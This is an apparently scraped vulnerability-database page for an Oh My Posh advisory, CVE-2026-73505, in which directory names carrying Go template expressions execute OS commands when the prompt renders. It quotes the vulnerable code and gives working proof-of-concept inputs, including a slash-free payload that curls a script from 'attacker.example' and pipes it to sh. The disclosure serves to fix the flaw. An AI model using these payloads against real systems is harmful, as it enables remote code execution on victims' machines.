Vulnerability-Lookup

CVE-2026-73505 (GCVE-0-2026-73505)

Vulnerability from cvelistv5 – Published: 2026-08-13 14:21 – Updated: 2026-08-13 15:18

Title

Oh My Posh: Arbitrary command execution via template injection in the path segment

Summary

Oh My Posh is the most customisable and low-latency cross platform/shell prompt renderer. Prior to 29.35.1, the setStyle() function in src/segments/path.go passed pt.Path, which includes raw folder names, to template.Render, whose function map exposes cmd, so an attacker-controlled directory name containing a Go template expression could execute arbitrary operating system commands as the current user whenever the prompt rendered inside that directory or a descendant. This issue is fixed in version 29.35.1.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-13 15:18 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')
CWE-1336 - Improper Neutralization of Special Elements Used in a Template Engine

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/JanDeDobbeleer/oh-my-posh/secu…	x_refsource_CONFIRM
https://github.com/JanDeDobbeleer/oh-my-posh/pull/7711	x_refsource_MISC
https://github.com/JanDeDobbeleer/oh-my-posh/comm…	x_refsource_MISC
https://github.com/JanDeDobbeleer/oh-my-posh/rele…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
JanDeDobbeleer	oh-my-posh	Affected: < 29.35.1

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      "title": "github.com/jandedobbeleer/oh-my-posh: Oh My Posh: Arbitrary command execution via template injection in directory names",
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GHSA-6XJ8-QV9J-XCJQ

Vulnerability from github – Published: 2026-07-24 22:36 – Updated: 2026-08-13 14:22

Summary

Oh My Posh: Arbitrary command execution via template injection in the path segment

Details

Summary

Oh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go text/template engine. That engine's function map exposes a cmd function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.

Details

src/segments/path.go, setStyle():

// make sure we resolve all templates
if txt, err := template.Render(pt.Path, pt); err == nil {
    pt.Path = txt
}

pt.Path is built from the raw folder-name components of the current working directory (colorizePath inserts each folder name verbatim via fmt.Sprintf(folderFormat, element)). The whole string is then passed to template.Render, which parses and executes it with the full function map from src/template/func_map.go, including:

func cmd(command string, args ...string) (string, error) {
    output, err := env.RunCommand(command, args...)
    return strings.TrimSpace(output), err
}

Any template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (src/config/default.go) contains a path segment.

PoC

Config (a single default path segment):

{ "version":3, "blocks":[{"type":"prompt","alignment":"left","segments":[
  {"type":"path","style":"plain","foreground":"#ffffff",
   "template":"{{ .Path }}","properties":{"style":"full"}}]}]}

Command execution reflected into the prompt (--pwd supplies exactly the string env.Pwd() returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only / and NUL are disallowed):

$ oh-my-posh print primary --config p.json --shell fish \
      --pwd '/home/v/{{ cmd `whoami` }}'
/home/v/<username>        # whoami executed, output substituted

Side effect (file write), slash-free payload, verified on Windows:

$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \
      --pwd '/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}'
$ cat /tmp/proof
pwn3d

Confirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.

Impact

Arbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.

The path is split on / (and \ on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS {{ cmdsh-ccurl${IFS}-s${IFS}attacker.example|sh}} needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name ({{ cmdbashx}}).

Suggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (folder_separator_template, mapped_locations, folder_format) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape {{/}} in raw folder-name components before insertion, or use a data-only function map (no cmd/readFile/stat/glob) for path resolution. The same double-evaluation pattern is worth reviewing at src/segments/options/map.go.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 29.35.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/jandedobbeleer/oh-my-posh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "29.35.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:36:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nOh My Posh re-renders the resolved path string, which contains the raw folder names taken from the filesystem, through the Go `text/template` engine. That engine\u0027s function map exposes a `cmd` function that runs arbitrary OS commands. A directory whose name contains a Go template expression is therefore evaluated when the prompt renders, giving arbitrary command execution as the current user as soon as the shell is inside (or below) that directory. The built-in default configuration is affected.\n\n### Details\n`src/segments/path.go`, `setStyle()`:\n\n```go\n// make sure we resolve all templates\nif txt, err := template.Render(pt.Path, pt); err == nil {\n    pt.Path = txt\n}\n```\n\n`pt.Path` is built from the raw folder-name components of the current working directory (`colorizePath` inserts each folder name verbatim via `fmt.Sprintf(folderFormat, element)`). The whole string is then passed to `template.Render`, which parses and executes it with the full function map from `src/template/func_map.go`, including:\n\n```go\nfunc cmd(command string, args ...string) (string, error) {\n    output, err := env.RunCommand(command, args...)\n    return strings.TrimSpace(output), err\n}\n```\n\nAny template syntax present in an untrusted folder name is evaluated. The render runs after the path-style switch unconditionally, so every path style is affected, and the default config (`src/config/default.go`) contains a path segment.\n\n### PoC\nConfig (a single default path segment):\n\n```json\n{ \"version\":3, \"blocks\":[{\"type\":\"prompt\",\"alignment\":\"left\",\"segments\":[\n  {\"type\":\"path\",\"style\":\"plain\",\"foreground\":\"#ffffff\",\n   \"template\":\"{{ .Path }}\",\"properties\":{\"style\":\"full\"}}]}]}\n```\n\nCommand execution reflected into the prompt (`--pwd` supplies exactly the string `env.Pwd()` returns for a real directory of that name; on Linux/macOS such a directory is fully creatable, only `/` and NUL are disallowed):\n\n```\n$ oh-my-posh print primary --config p.json --shell fish \\\n      --pwd \u0027/home/v/{{ cmd `whoami` }}\u0027\n/home/v/\u003cusername\u003e        # whoami executed, output substituted\n```\n\nSide effect (file write), slash-free payload, verified on Windows:\n\n```\n$ RCE_OUT=/tmp/proof oh-my-posh print primary --config p.json --shell fish \\\n      --pwd \u0027/home/v/{{ cmd `powershell` `-c` `sc $env:RCE_OUT pwn3d` }}\u0027\n$ cat /tmp/proof\npwn3d\n```\n\nConfirmed to fire under full, folder, agnoster, agnoster_short, mixed and letter path styles.\n\n### Impact\nArbitrary command execution as the victim user, triggered by navigating into attacker-supplied directory content: a subdirectory in a cloned repository, an extracted archive, a network share, or a removable drive. Execution occurs when the shell is in that directory or any descendant (the full path includes the ancestor names) and the prompt renders, i.e. on the next command after cd.\n\nThe path is split on `/` (and `\\` on Windows) before rendering, so a payload cannot contain a path separator. This is not a real barrier: on Linux/macOS `{{ cmd `sh` `-c` `curl${IFS}-s${IFS}attacker.example|sh` }}` needs no slash (attacker root path), or a script staged in the same directory can be run with a relative name (`{{ cmd `bash` `x` }}`).\n\nSuggested fix: do not re-parse the composed path as a template after untrusted folder names have been inserted. Preferably resolve configuration templates (`folder_separator_template`, `mapped_locations`, `folder_format`) individually against their own inputs and concatenate the already-rendered pieces with the literal folder names. Alternatively escape `{{`/`}}` in raw folder-name components before insertion, or use a data-only function map (no `cmd`/`readFile`/`stat`/`glob`) for path resolution. The same double-evaluation pattern is worth reviewing at `src/segments/options/map.go`.",
  "id": "GHSA-6xj8-qv9j-xcjq",
  "modified": "2026-08-13T14:22:04Z",
  "published": "2026-07-24T22:36:11Z",
  "references": [
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      "type": "WEB",
      "url": "https://github.com/JanDeDobbeleer/oh-my-posh/commit/88ddbe0b0a4dd13cc345996108c9869493f2c690"
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  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Oh My Posh: Arbitrary command execution via template injection in the path segment"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-73505 (GCVE-0-2026-73505)

GHSA-6XJ8-QV9J-XCJQ

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature